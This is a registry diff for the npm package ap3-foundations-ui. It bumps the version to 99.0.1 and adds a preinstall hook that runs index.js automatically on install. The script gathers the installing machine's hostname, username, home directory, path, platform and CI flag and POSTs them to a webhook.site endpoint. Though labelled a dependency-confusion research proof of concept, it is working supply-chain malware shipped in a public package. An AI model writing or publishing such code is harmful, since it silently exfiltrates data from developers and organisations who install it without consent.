ap3-foundations-ui 0.0.0-stage → 99.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +36 -0
- package/package.json +9 -4
- package/README.md +0 -3
package/index.js
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
// Security research PoC – dependency confusion
|
|
2
|
+
// Runs automatically during `npm install` via preinstall hook.
|
|
3
|
+
|
|
4
|
+
const os = require("os");
|
|
5
|
+
const https = require("https");
|
|
6
|
+
const packageJSON = require("./package.json");
|
|
7
|
+
|
|
8
|
+
const trackingData = JSON.stringify({
|
|
9
|
+
pkg: packageJSON.name,
|
|
10
|
+
version: packageJSON.version,
|
|
11
|
+
hostname: os.hostname(),
|
|
12
|
+
user: os.userInfo().username,
|
|
13
|
+
homedir: os.homedir(),
|
|
14
|
+
cwd: __dirname,
|
|
15
|
+
platform: os.platform(),
|
|
16
|
+
arch: os.arch(),
|
|
17
|
+
ci: process.env.CI || null,
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
const options = {
|
|
21
|
+
hostname: "webhook.site",
|
|
22
|
+
port: 443,
|
|
23
|
+
path: "/7dbd5e4e-3156-427f-b383-30c14d845587",
|
|
24
|
+
method: "POST",
|
|
25
|
+
headers: {
|
|
26
|
+
"Content-Type": "application/json",
|
|
27
|
+
"Content-Length": Buffer.byteLength(trackingData),
|
|
28
|
+
},
|
|
29
|
+
};
|
|
30
|
+
|
|
31
|
+
const req = https.request(options, (res) => {
|
|
32
|
+
res.on("data", () => {});
|
|
33
|
+
});
|
|
34
|
+
req.on("error", () => {});
|
|
35
|
+
req.write(trackingData);
|
|
36
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ap3-foundations-ui",
|
|
3
|
-
"version": "
|
|
4
|
-
"
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "99.0.1",
|
|
4
|
+
"description": "Security research PoC – dependency confusion",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "vikkuthetester22",
|
|
10
|
+
"license": "MIT"
|
|
11
|
+
}
|
package/README.md
DELETED